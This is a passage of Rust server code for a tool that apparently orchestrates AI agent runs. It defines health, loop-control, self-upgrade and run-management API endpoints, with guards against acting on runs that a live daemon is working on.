1724 notifications_rev: u64,
1726 notifications_unread: usize,
1729 loop_rev: u64,
1734 runs_unreadable: usize,
1742 disk: DiskView,
1750 questions_open: usize,
1756 questions_needs_owner: usize,
1766 daemon: DaemonView,
1767 #[serde(rename = "loop")]
1773 looping: LoopView,
1774 update: UpdateView,
1781 upgrade: Option<UpgradeProgressView>,
1785}
1786
1787#[derive(Debug, Serialize)]
1794struct UpdateView {
1795 available: bool,
1797 to: Option<String>,
1799}
1800
1801#[derive(Debug, Serialize)]
1803struct UpgradeProgressView {
1804 stage: updater::Stage,
1805 from: String,
1806 to: Option<String>,
1807 waiting_on: Option<String>,
1810 started_at: Timestamp,
1811 updated_at: Timestamp,
1812 detail: Option<String>,
1813 stuck_for_secs: Option<i64>,
1816}
1817
1818fn should_spawn_recheck(cfg: &Update) -> bool {
1825 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1826}
1827
1828fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1840 if progress.is_some_and(|p| !p.stage.terminal()) {
1841 return false;
1842 }
1843 checker.should_check()
1844}
1845
1846fn recheck_poll_period(cfg: &Update) -> Duration {
1859 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1860}
1861
1862async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1886 loop {
1887 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1888 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1889 if !should_spawn_recheck(&cfg.update) {
1890 continue;
1891 }
1892 let Some(checker) = updater::Checker::new(&cfg.update) else {
1893 continue;
1894 };
1895 let progress = updater::read_progress(&home);
1896 if !update_recheck_due(&checker, progress.as_ref()) {
1897 continue;
1898 }
1899 if let Err(e) = checker.newer_release().await {
1900 tracing::warn!("background update recheck failed: {e:#}");
1901 }
1902 }
1903}
1904
1905fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1911 let default;
1912 let cfg = match cfg {
1913 Some(cfg) => cfg,
1914 None => {
1915 default = Config::default();
1916 &default
1917 }
1918 };
1919 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1920 match latest {
1921 Some(latest) => UpdateView {
1922 available: true,
1923 to: Some(latest.tag_name),
1924 },
1925 None => UpdateView {
1926 available: false,
1927 to: None,
1928 },
1929 }
1930}
1931
1932fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1938 let waiting_on = (progress.stage == updater::Stage::Parking)
1939 .then_some(progress.parked_run.as_deref())
1940 .flatten()
1941 .and_then(|id| read_run(&ui.runs, id).ok())
1942 .map(|run| {
1943 format!(
1944 "run {} is finishing {} before the address is handed over",
1945 run.short(),
1946 run.status.as_str()
1947 )
1948 });
1949 let detail = progress
1950 .detail
1951 .clone()
1952 .or_else(|| updater::read_note(&ui.home, &progress));
1953 let stalled = updater::stall(&progress, Timestamp::now());
1954 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1955 UpgradeProgressView {
1956 stuck_for_secs: stalled.map(|s| s.age_secs),
1957 stage: progress.stage,
1958 from: progress.from,
1959 to: progress.to,
1960 waiting_on,
1961 started_at: progress.started_at,
1962 updated_at: progress.updated_at,
1963 detail,
1964 }
1965}
1966
1967#[derive(Debug, Serialize)]
1972struct DiskView {
1973 #[serde(skip_serializing_if = "Option::is_none")]
1975 free_bytes: Option<u64>,
1976 runs_bytes: u64,
1978 worktrees_bytes: u64,
1980 #[serde(skip_serializing_if = "Option::is_none")]
1982 cache_bytes: Option<u64>,
1983}
1984
1985impl DiskView {
1986 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1988 let cache_bytes = cfg
1989 .and_then(|cfg| cfg.cache_dir())
1990 .map(|dir| crate::disk::dir_size(&dir));
1991 Self {
1992 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1993 runs_bytes: crate::disk::dir_size(&ui.runs),
1994 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1995 cache_bytes,
1996 }
1997 }
1998}
1999
2000#[derive(Debug, Serialize)]
2002struct DaemonView {
2003 running: bool,
2004 idle: Option<bool>,
2005 pid: Option<u32>,
2006 current: Vec<daemon::Current>,
2010 completed: Option<u64>,
2011 stale_for_secs: Option<i64>,
2012}
2013
2014impl DaemonView {
2015 fn of(status: Option<daemon::Reading>) -> Self {
2019 let Some(status) = status else {
2020 return Self {
2021 running: false,
2022 idle: None,
2023 pid: None,
2024 current: Vec::new(),
2025 completed: None,
2026 stale_for_secs: None,
2027 };
2028 };
2029 let now = Timestamp::now();
2030 let age = status.age_secs(now);
2031 Self {
2032 running: status.running(now),
2033 idle: Some(status.idle),
2034 pid: status.pid,
2035 current: status.current,
2036 completed: Some(status.completed),
2037 stale_for_secs: age,
2038 }
2039 }
2040}
2041
2042async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2043 blocking(move || {
2044 let reading = daemon::read_status(&ui.home);
2048 let loop_rev = ui.lock_loop().rev;
2052 let cfg = deputy_config(&ui.repo);
2055 let update = cached_update_view(cfg.as_ref());
2056 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2057 Ok(Json(HealthView {
2058 version: env!("CARGO_PKG_VERSION"),
2059 home: ui.home.display().to_string(),
2060 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2061 runs_rev: runs_revision(&ui.runs),
2062 questions_rev: ui.questions.revision(),
2063 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2064 notifications_rev: ui.notices.revision(),
2065 notifications_unread: ui.notices.count_unread(),
2066 loop_rev,
2067 runs_unreadable: runs_unreadable(&ui.runs),
2068 questions_open: ui.questions.count_open(),
2069 questions_needs_owner: ui.questions.count_needs_owner(),
2070 daemon: DaemonView::of(reading.clone()),
2071 looping: ui.loop_view(reading),
2072 disk: DiskView::of(&ui, cfg.as_ref()),
2073 update,
2074 upgrade,
2075 }))
2076 })
2077 .await
2078}
2079
2080#[derive(Debug, Serialize)]
2082struct LoopView {
2083 running: bool,
2085 stopping: bool,
2093 parking: bool,
2101 owned: bool,
2109 repo: String,
2112 merge: Option<String>,
2115 last_error: Option<String>,
2123 daemon: DaemonView,
2126}
2127
2128#[derive(Debug, Clone, Copy)]
2137struct Foreign {
2138 pid: Option<u32>,
2140}
2141
2142impl Foreign {
2143 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2146 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2150 }
2151
2152 fn who(&self) -> String {
2155 match self.pid {
2156 Some(pid) => format!("another magi process (pid {pid})"),
2157 None => "another magi process".to_owned(),
2158 }
2159 }
2160}
2161
2162type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2167
2168fn launch_daemon(
2170 opts: daemon::Opts,
2171 stop: daemon::Stop,
2172) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2173 Box::pin(daemon::serve_until(opts, stop))
2174}
2175
2176#[derive(Debug, Default)]
2178struct LoopState {
2179 live: Option<Live>,
2181 rev: u64,
2189 last_error: Option<String>,
2192 resume_after_handover: bool,
2197}
2198
2199#[derive(Debug)]
2201struct Live {
2202 stop: daemon::Stop,
2204 handle: tokio::task::JoinHandle<()>,
2209 opts: daemon::Opts,
2213}
2214
2215impl Live {
2216 fn alive(&self) -> bool {
2218 !self.handle.is_finished()
2219 }
2220}
2221
2222fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2229 state.lock().unwrap_or_else(PoisonError::into_inner)
2230}
2231
2232async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2234 blocking(move || {
2235 let reading = daemon::read_status(&ui.home);
2236 Ok(Json(ui.loop_view(reading)))
2237 })
2238 .await
2239}
2240
2241#[derive(Debug, Deserialize)]
2247#[serde(deny_unknown_fields)]
2248struct LoopCommand {
2249 running: bool,
2250 #[serde(default)]
2260 park: bool,
2261}
2262
2263async fn loop_post(
2271 State(ui): State<Arc<Ui>>,
2272 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2273) -> ApiResult<Json<LoopView>> {
2274 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2277 blocking(move || {
2278 let reading = daemon::read_status(&ui.home);
2279 let foreign = Foreign::of(reading.as_ref());
2280 if body.running {
2281 ui.start_loop(foreign)?;
2282 } else {
2283 ui.stop_loop(foreign, body.park)?;
2284 }
2285 Ok(Json(ui.loop_view(reading)))
2286 })
2287 .await
2288}
2289
2290#[derive(Debug, Serialize)]
2292struct UpgradeView {
2293 from: String,
2295 to: Option<String>,
2297 parked: Option<String>,
2299 detail: String,
2301}
2302
2303async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2327 let reading = daemon::read_status(&ui.home);
2328 if let Some(other) = Foreign::of(reading.as_ref()) {
2329 return Err(ApiError::conflict(format!(
2330 "the loop belongs to {}, so replacing this binary would leave \
2331 that process running an old one against the same queue. Upgrade \
2332 where it was started.",
2333 other.who()
2334 )));
2335 }
2336
2337 if crate::updater::disabled_by_env() {
2343 return Ok((
2344 StatusCode::OK,
2345 Json(UpgradeView {
2346 from: env!("CARGO_PKG_VERSION").to_owned(),
2347 to: None,
2348 parked: None,
2349 detail: format!(
2350 "Automatic updates are disabled by {}. Nothing was parked \
2351 and nothing restarted.",
2352 crate::updater::NO_AUTOUPDATE_ENV
2353 ),
2354 }),
2355 ));
2356 }
2357
2358 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2363 let from = env!("CARGO_PKG_VERSION").to_owned();
2364 let latest = match crate::updater::Checker::new(&cfg.update) {
2365 Some(checker) => checker
2366 .newer_release()
2367 .await
2368 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2369 None => None,
2370 };
2371 let Some(latest) = latest else {
2372 return Ok((
2373 StatusCode::OK,
2374 Json(UpgradeView {
2375 from,
2376 to: None,
2377 parked: None,
2378 detail: "Already on the newest release. Nothing was parked \
2379 and nothing restarted."
2380 .to_owned(),
2381 }),
2382 ));
2383 };
2384
2385 let parked = ui.park_for_upgrade()?;
2388 let detail = match &parked {
2389 Some(run) => format!(
2394 "Run {} is parking at its next step, which can take as long as \
2395 the step it is on - up to an hour for an implement wave. The \
2396 deck replaces itself once it parks, comes back, and the loop \
2397 carries that run on from where it stopped. Nothing is lost if \
2398 you close this.",
2399 crate::run::short_of(run)
2400 ),
2401 None => "The deck replaces itself and comes back. Nothing was in \
2402 flight to park."
2403 .to_owned(),
2404 };
2405
2406 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2410 progress.parked_run = parked.clone();
2411 let _ = updater::write_progress(&ui.home, &progress);
2412
2413 let home = ui.home.clone();
2414 let looping = ui.looping();
2415 tokio::spawn(async move {
2416 if let Err(e) = upgrade_and_restart(home.clone()).await {
2417 tracing::error!("the upgrade did not complete: {e:#}");
2418 lock_or_recover(&looping).resume_after_handover = false;
2419 if let Some(mut progress) = updater::read_progress(&home) {
2420 progress.fail(format!("{e:#}"));
2421 let _ = updater::write_progress(&home, &progress);
2422 }
2423 }
2424 });
2425
2426 Ok((
2427 StatusCode::ACCEPTED,
2428 Json(UpgradeView {
2429 from,
2430 to: Some(latest.tag_name),
2431 parked,
2432 detail,
2433 }),
2434 ))
2435}
2436
2437async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2442 crate::updater::run_self_update(true, false, true).await?;
2445 updater::log_step(&home, "binary replaced - recording the replaced stage");
2446 if let Some(mut progress) = updater::read_progress(&home) {
2447 progress.advance(updater::Stage::Replaced);
2448 updater::write_progress_logged(&home, &progress);
2449 }
2450 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2451 HANDOVER.notify_one();
2452 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2453 Ok(())
2454}
2455
2456#[derive(Debug, Serialize)]
2462struct RunSummary {
2463 id: String,
2464 short: String,
2465 status: String,
2466 done: bool,
2467 instruction: String,
2468 title: String,
2469 repo: String,
2470 repo_name: String,
2471 created_at: String,
2472 updated_at: String,
2473 candidates: usize,
2474 viable: usize,
2475 judges: usize,
2476 winner: Option<char>,
2477 reviews: usize,
2478 quota_losses: usize,
2479 event: Option<String>,
2480 superseded_by: Option<String>,
2485 waiting: bool,
2492 live: crate::run::Liveness,
2496 pr: Option<crate::run::PrRecord>,
2498 unmerged_by_design: bool,
2504 origin_label: String,
2507}
2508
2509impl RunSummary {
2510 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2511 Self {
2512 id: state.id.clone(),
2513 short: state.short().to_owned(),
2514 status: status_word(state.status),
2515 done: state.status.done(),
2516 unmerged_by_design: state.unmerged_by_design(),
2517 instruction: state.instruction.clone(),
2518 title: title_from(&state.instruction, TITLE_MAX),
2519 repo: state.repo.display().to_string(),
2520 repo_name: state
2521 .repo
2522 .file_name()
2523 .map(|n| n.to_string_lossy().into_owned())
2524 .unwrap_or_default(),
2525 created_at: state.created_at.to_string(),
2526 updated_at: state.updated_at.to_string(),
2527 candidates: state.candidates.len(),
2528 viable: state.viable().len(),
2529 judges: state.config.graph.judges,
2530 winner: state.winner().map(|c| c.label),
2531 reviews: state.reviews.len(),
2532 quota_losses: state.quota.len(),
2533 event: state.events.last().map(|e| e.message.clone()),
2534 waiting,
2535 live,
2536 superseded_by: None,
2539 pr: state.pr.clone(),
2540 origin_label: crate::run::origin_label(state.origin.as_ref()),
2541 }
2542 }
2543}
2544
2545fn status_word(status: RunStatus) -> String {
2548 status.as_str().to_owned()
2552}
2553
2554#[derive(Debug, Deserialize)]
2556struct ListQuery {
2557 #[serde(default)]
2558 limit: Option<usize>,
2559 ids: Option<String>,
2561}
2562
2563impl ListQuery {
2564 fn contains(&self, id: &str) -> bool {
2565 self.ids
2566 .as_ref()
2567 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2568 }
2569}
2570
2571async fn runs_list(
2572 State(ui): State<Arc<Ui>>,
2573 Query(q): Query<ListQuery>,
2574) -> ApiResult<Json<Vec<RunSummary>>> {
2575 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2576 blocking(move || {
2577 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2578 let states = run_ids(&ui.runs)
2579 .into_iter()
2580 .filter_map(|id| read_run(&ui.runs, &id).ok())
2585 .take(limit)
2586 .filter(|run| q.contains(&run.id));
2587 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2588 let summaries = summarize(
2589 states,
2590 &open_runs,
2591 &claimed,
2592 &superseded,
2593 |p| probe.borrow_mut().status(p),
2594 |p| probe.borrow_mut().started_at(p),
2595 );
2596 Ok(Json(summaries))
2597 })
2598 .await
2599}
2600
2601fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2606 let open_runs: HashSet<String> = ui
2607 .questions
2608 .list()
2609 .into_iter()
2610 .filter(|q| q.status.open())
2611 .map(|q| q.run)
2612 .collect();
2613 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2614 .into_iter()
2615 .map(|c| c.run)
2616 .collect();
2617 (open_runs, claimed, ui.queue.superseded())
2618}
2619
2620fn summarize<I, S, D>(
2626 states: I,
2627 open_runs: &HashSet<String>,
2628 claimed: &HashSet<String>,
2629 superseded: &HashMap<String, String>,
2630 mut status_q: S,
2631 mut identity_q: D,
2632) -> Vec<RunSummary>
2633where
2634 I: IntoIterator<Item = RunState>,
2635 S: FnMut(u32) -> Option<bool>,
2636 D: FnMut(u32) -> Option<String>,
2637{
2638 states
2639 .into_iter()
2640 .map(|state| {
2641 let waiting = open_runs.contains(&state.id);
2642 let live =
2643 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2644 let mut row = RunSummary::of(&state, waiting, live);
2645 row.superseded_by = superseded
2646 .get(&state.id)
2647 .map(String::as_str)
2648 .map(crate::run::short_of)
2649 .map(str::to_owned);
2650 row
2651 })
2652 .collect()
2653}
2654
2655#[derive(Debug, Serialize)]
2662struct RunDetailView {
2663 #[serde(flatten)]
2664 state: RunState,
2665 instruction_md: Vec<md::Node>,
2666 #[serde(flatten)]
2670 prose_md: RunProseMd,
2671 live: crate::run::Liveness,
2686 unmerged_by_design: bool,
2691 done: bool,
2696 superseded_by: Option<String>,
2704 latest_attempt: Option<LatestAttempt>,
2718 task: Option<TaskRef>,
2721 origin_label: String,
2725}
2726
2727#[derive(Debug, Serialize)]
2729struct TaskRef {
2730 id: String,
2731 short: String,
2732 title: String,
2733 source_label: String,
2735 source_link: Option<SourceLink>,
2737 status: &'static str,
2739 attempts: usize,
2740 max_attempts: usize,
2741 is_latest: bool,
2743 latest: Option<RunBrief>,
2745 finished_by: Option<RunBrief>,
2747 closed_by_hand: bool,
2749}
2750
2751#[derive(Debug, PartialEq, Eq, Serialize)]
2753struct SourceLink {
2754 kind: &'static str,
2756 id: String,
2758 href: String,
2760}
2761
2762fn encode_segment(raw: &str) -> String {
2764 let mut out = String::with_capacity(raw.len());
2765 for b in raw.bytes() {
2766 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2767 out.push(b as char);
2768 } else {
2769 out.push_str(&format!("%{b:02X}"));
2770 }
2771 }
2772 out
2773}
2774
2775fn source_link(source: &Source) -> Option<SourceLink> {
2779 let Source::Agent { run, node } = source else {
2780 return None;
2781 };
2782 let (kind, route) = if node == crate::queue::CHAT_NODE {
2783 ("chat", "chat")
2784 } else {
2785 ("run", "runs")
2786 };
2787 Some(SourceLink {
2788 kind,
2789 id: run.clone(),
2790 href: format!("#/{route}/{}", encode_segment(run)),
2791 })
2792}
2793
2794#[derive(Debug, Serialize)]
2796struct RunBrief {
2797 id: String,
2798 short: String,
2799 status: Option<&'static str>,
2801 outcome: String,
2803}
2804
2805fn task_outcome(
2808 task: &Task,
2809 this_run: &str,
2810 max_attempts: usize,
2811 read: impl Fn(&str) -> Option<RunState>,
2812) -> TaskRef {
2813 let history = task_history(task, read);
2814 let brief = |h: &TaskRunView| RunBrief {
2815 id: h.id.clone(),
2816 short: h.short.clone(),
2817 status: h.status,
2818 outcome: h.exit.edge_label(h.status),
2819 };
2820 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2821 let latest = if is_latest {
2822 None
2823 } else {
2824 history.last().map(brief)
2825 };
2826 let done = task.status == TaskStatus::Done;
2827 let finished_by = done
2828 .then(|| {
2829 history
2830 .iter()
2831 .rev()
2832 .find(|h| {
2833 matches!(
2834 h.exit,
2835 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2836 )
2837 })
2838 .map(brief)
2839 })
2840 .flatten();
2841 TaskRef {
2842 short: task.short().to_owned(),
2843 title: task.title.clone(),
2844 id: task.id.clone(),
2845 source_label: task.source.label(),
2846 source_link: source_link(&task.source),
2847 status: task.status.as_str(),
2848 attempts: task.attempts,
2849 max_attempts,
2850 is_latest,
2851 latest,
2852 closed_by_hand: done && finished_by.is_none(),
2853 finished_by,
2854 }
2855}
2856
2857#[derive(Debug, Serialize)]
2859struct LatestAttempt {
2860 id: String,
2861 short: String,
2862 resolved: bool,
2873 status: RunStatus,
2876 done: bool,
2878}
2879
2880#[derive(Debug, Default, Serialize)]
2882struct RunProseMd {
2883 advice_md: Option<AdviceMd>,
2885 candidate_summaries_md: Vec<Vec<md::Node>>,
2887 reviews_md: Vec<RoundMd>,
2889}
2890
2891#[derive(Debug, Default, Serialize)]
2892struct AdviceMd {
2893 synthesis: Vec<md::Node>,
2894 approaches: Vec<Vec<md::Node>>,
2896}
2897
2898#[derive(Debug, Default, Serialize)]
2899struct RoundMd {
2900 reviewers: Vec<ReviewerMd>,
2902 reconsideration: Vec<Vec<md::Node>>,
2904 fix: Option<FixMd>,
2905}
2906
2907#[derive(Debug, Default, Serialize)]
2908struct ReviewerMd {
2909 summary: Vec<md::Node>,
2910 findings: Vec<Vec<md::Node>>,
2912}
2913
2914#[derive(Debug, Default, Serialize)]
2915struct FixMd {
2916 notes: Vec<md::Node>,
2917 rejected: Vec<Vec<md::Node>>,
2919}
2920
2921fn run_prose_md(state: &RunState) -> RunProseMd {
2923 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2924 RunProseMd {
2925 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2926 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2927 approaches: a
2928 .records
2929 .iter()
2930 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2931 .collect(),
2932 }),
2933 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2934 reviews_md: state
2935 .reviews
2936 .iter()
2937 .map(|round| RoundMd {
2938 reviewers: round
2939 .reviews
2940 .iter()
2941 .map(|rec| ReviewerMd {
2942 summary: nodes(&rec.summary),
2943 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2944 })
2945 .collect(),
2946 reconsideration: round
2947 .reconsideration
2948 .iter()
2949 .map(|rv| nodes(&rv.reason))
2950 .collect(),
2951 fix: round.fix.as_ref().map(|fix| FixMd {
2952 notes: nodes(&fix.notes),
2953 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2954 }),
2955 })
2956 .collect(),
2957 }
2958}
2959
2960impl RunDetailView {
2961 fn of(
2962 state: RunState,
2963 live: crate::run::Liveness,
2964 superseded_by: Option<String>,
2965 latest_attempt: Option<LatestAttempt>,
2966 task: Option<TaskRef>,
2967 ) -> Self {
2968 Self {
2969 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2970 prose_md: run_prose_md(&state),
2971 origin_label: crate::run::origin_label(state.origin.as_ref()),
2972 live,
2973 unmerged_by_design: state.unmerged_by_design(),
2974 done: state.status.done(),
2975 superseded_by,
2976 latest_attempt,
2977 task,
2978 state,
2979 }
2980 }
2981}
2982
2983async fn run_detail(
2984 State(ui): State<Arc<Ui>>,
2985 Path(id): Path<String>,
2986) -> ApiResult<Json<RunDetailView>> {
2987 blocking(move || {
2988 let id = resolve_run(&ui.runs, &id)?;
2989 let state = read_run(&ui.runs, &id)?;
2990 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2991 let live = state.liveness(daemon_claims);
2992 let superseded_by = ui
2993 .queue
2994 .superseded_by(&id)
2995 .as_deref()
2996 .map(crate::run::short_of)
2997 .map(str::to_owned);
2998 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3002 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3003 short: head.short().to_owned(),
3004 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3005 status: head.status,
3006 done: head.status.done(),
3007 id: head.id,
3008 })
3009 });
3010 let max_attempts = daemon::Opts::default().max_attempts;
3011 let task = ui
3012 .queue
3013 .list()
3014 .into_iter()
3015 .find(|t| t.runs.contains(&id))
3016 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3017 Ok(Json(RunDetailView::of(
3018 state,
3019 live,
3020 superseded_by,
3021 latest_attempt,
3022 task,
3023 )))
3024 })
3025 .await
3026}
3027
3028async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3037 let (id, unreadable) = {
3038 let ui = Arc::clone(&ui);
3039 blocking(move || {
3040 let id = resolve_run(&ui.runs, &id)?;
3041 match read_run(&ui.runs, &id) {
3042 Ok(state) => {
3043 let in_flight =
3044 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3045 state
3046 .ensure_can_delete(in_flight)
3047 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3048 let dir = ui.runs.join(&id);
3049 std::fs::remove_dir_all(&dir)
3050 .with_context(|| format!("remove run directory {}", dir.display()))?;
3051 Ok((id, false))
3052 }
3053 Err(_) => {
3054 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3058 return Err(ApiError::conflict(format!(
3059 "run {id} is being worked on by a live daemon right now"
3060 )));
3061 }
3062 Ok((id, true))
3063 }
3064 }
3065 })
3066 .await?
3067 };
3068 if unreadable {
3069 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3070 .await
3071 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3072 }
3073 let ui = Arc::clone(&ui);
3074 let done = id.clone();
3075 blocking(move || {
3076 ui.questions.abandon_for_run(
3079 &done,
3080 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3081 )?;
3082 Ok(())
3083 })
3084 .await?;
3085 Ok(StatusCode::NO_CONTENT)
3086}
3087
3088async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3112 let (id, state) = {
3113 let ui = Arc::clone(&ui);
3114 blocking(move || {
3115 let id = resolve_run(&ui.runs, &id)?;
3116 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3117 return Err(ApiError::conflict(format!(
3118 "run {id} is being worked on by a live daemon right now"
3119 )));
3120 }
3121 let state = read_run(&ui.runs, &id).ok();
3122 Ok((id, state))
3123 })
3124 .await?
3125 };
3126 let removed = match state {
3127 Some(mut state) => {
3128 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3129 .await
3130 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3131 if removed.is_empty() {
3136 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3137 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3138 }
3139 removed
3140 }
3141 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3142 .await
3143 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3144 };
3145 Ok(Json(FoldView {
3146 run: id,
3147 removed_count: removed.len(),
3148 removed,
3149 }))
3150}
3151
3152#[derive(Debug, Serialize)]
3154struct FoldView {
3155 run: String,
3156 removed: Vec<String>,
3158 removed_count: usize,
3159}
3160
3161#[derive(Debug, Deserialize)]
3164struct FoldMergedBody {
3165 #[serde(default)]
3166 pr_url: String,
3167}
3168
3169async fn run_fold_merged(
3189 State(ui): State<Arc<Ui>>,
3190 Path(id): Path<String>,
3191 Json(body): Json<FoldMergedBody>,
3192) -> ApiResult<Json<FoldMergedView>> {
3193 let pr_url = body.pr_url.trim().to_owned();
3194 if pr_url.is_empty() {
3195 return Err(ApiError::bad_request("pr_url is required"));
3196 }
3197 let (id, mut state) = {
3198 let ui = Arc::clone(&ui);
3199 blocking(move || {
3200 let id = resolve_run(&ui.runs, &id)?;
3201 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3202 return Err(ApiError::conflict(format!(
3203 "run {id} is being worked on by a live daemon right now"
3204 )));
3205 }
3206 let state = read_run(&ui.runs, &id)?;
3207 Ok((id, state))
3208 })
3209 .await?
3210 };
3211 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3212 .await
3213 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3214 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3215 .await
3216 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3217 Ok(Json(FoldMergedView {
3218 run: id,
3219 before: before.as_str().to_owned(),
3220 after: after.as_str().to_owned(),
3221 removed,
3222 }))
3223}
3224
3225#[derive(Debug, Serialize)]
3227struct FoldMergedView {
3228 run: String,
3229 before: String,
3231 after: String,
3233 removed: Vec<String>,
3235}
3236
3237async fn run_resume(
3257 State(ui): State<Arc<Ui>>,
3258 Path(id): Path<String>,
3259) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3260 let (id, state) = {
3261 let ui = Arc::clone(&ui);
3262 blocking(move || {
3263 let id = resolve_run(&ui.runs, &id)?;
3264 let state = read_run(&ui.runs, &id)?;
3265 Ok((id, state))
3266 })
3267 .await?
3268 };
3269 if let Some(to) = &state.released_to {
3270 return Err(ApiError::conflict(format!(
3271 "run {} can no longer be resumed: its worktree was released to run {}, which \
3272 took the branch over.",
3273 state.short(),
3274 crate::run::short_of(to)
3275 )));
3276 }
3277 if !state.status.resumable() {
3278 return Err(ApiError::conflict(format!(
3279 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3280 state.short(),
3281 status_word(state.status)
3282 )));
3283 }
3284 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3289 .into_iter()
3290 .next()
3291 {
3292 return Err(ApiError::conflict(format!(
3293 "the loop is running run {} right now; stop it first, or wait for \
3294 it to finish, before resuming a run by hand.",
3295 crate::run::short_of(&work.run)
3296 )));
3297 }
3298 let _resume = ui.begin_resume(&id)?;
3299
3300 let queued = RunSummary::of(
3303 &state,
3304 !ui.questions.open_for(&id).is_empty(),
3305 state.liveness(false),
3306 );
3307 let run = id.clone();
3308 tokio::spawn(async move {
3309 let _resume = _resume;
3310 match crate::graph::Runner::resume(&run) {
3311 Ok(mut runner) => {
3312 if let Err(e) = runner.execute().await {
3313 tracing::warn!("resume of run {run} stopped: {e:#}");
3314 }
3315 }
3316 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3319 }
3320 });
3321 Ok((StatusCode::ACCEPTED, Json(queued)))
3322}
3323
3324async fn run_report(
3325 State(ui): State<Arc<Ui>>,
3326 Path(id): Path<String>,
3327) -> ApiResult<impl IntoResponse> {
3328 let text = blocking(move || {
3329 let id = resolve_run(&ui.runs, &id)?;
3330 let state = read_run(&ui.runs, &id)?;
